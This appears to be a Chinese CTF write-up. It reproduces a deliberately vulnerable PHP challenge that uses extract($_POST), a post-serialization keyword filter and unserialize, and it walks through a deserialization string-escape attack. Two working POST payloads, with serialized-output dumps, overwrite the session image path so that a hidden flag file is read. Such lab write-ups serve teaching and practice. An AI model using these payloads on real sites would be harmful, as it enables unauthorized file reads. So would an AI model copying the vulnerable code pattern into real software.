<?php
$function = @$_GET['f'];
function filter($img){
$filter_arr = array('php','flag','php5','php4','fl1g');
$filter = '/'.implode('|',$filter_arr).'/i';
return preg_replace($filter,'',$img);
}
if($_SESSION){
unset($_SESSION);
}
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
extract($_POST);
if(!$function){
echo '<a href="index.php?f=highlight_file">source_code</a>';
}
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
$serialize_info = filter(serialize($_SESSION));
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
题目如上:
首先进行审计:
① 第一个方法filter是过滤
②第一个if是把$_SESSION变量重置。
然后接下来
extract($_POST);
上面这个是吧key-value对直接变成变量,这里可以用来变量覆盖。
接下来是
if(!$_GET['img_path']){
$_SESSION['img'] = base64_encode('guest_img.png');
}else{
$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}
这里如果get里面有sha1就会把给加密,如果没有又没法由用户控制,然后继续往后面审计
$serialize_info = filter(serialize($_SESSION));
这个是进行序列化以后同时执行过滤方法
if($function == 'highlight_file'){
highlight_file('index.php');
}else if($function == 'phpinfo'){
eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){
$userinfo = unserialize($serialize_info);
echo file_get_contents(base64_decode($userinfo['img']));
}
这里能够查询的位置是$userinfo['img']而这个对应的其实是过滤后的$_SESSION['img'],但是,它不是直接赋值的,而是采用了反序列化,如果改变序列化以后的字符串,就可以对访问你想要选择的内容。
题目中还有一个提示是phpinfo
于是首先访问phpinfo
最终找到
auto_append_file是执行完这个php就加载这后面的php,因此说明flag可能在这里。
这个题目要利用反序列化逃逸,因为我们是没法直接进行修改,因此可以通过黑名单之类的,对反序列化以后的字符进行增加或者删减来达到逃逸的目的。
payload:
_SESSION[user]=flagflagflagflagflagphp&_SESSION[function]=";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}
payload解释:
array(3) {
["user"]=> string(23) "flagflagflagflagflagphp"
["function"]=> string(57) "";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(143) "a:3:{s:4:"user";s:23:"";s:8:"function";s:57:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:1:"1";s:1:"1";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
这里用的方法是改value,由于本身有三个键对值所以后面需要补一个1=>1
改value的思路是利用反序列化方法,反序列化执行到s:23:的时候由于黑名单把一部分字符串删去了,导致他会把后续的引号之类的当成user的value来处理,所以只需要处理出来一直到下一个引号开始
处理完三个以后同时括号闭合了,后面的他就不会处理了,会当成垃圾一样丢弃掉。
另一个payload
_SESSION[flagphp]=;s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
这个是通过改key
array(2) {
["flagphp"]=> string(48) ";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}"
["img"]=> string(20) "Z3Vlc3RfaW1nLnBuZw=="
}
string(107) "a:2:{s:7:"";s:48:";s:1:"1";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"Z3Vlc3RfaW1nLnBuZw==";}"
文章评论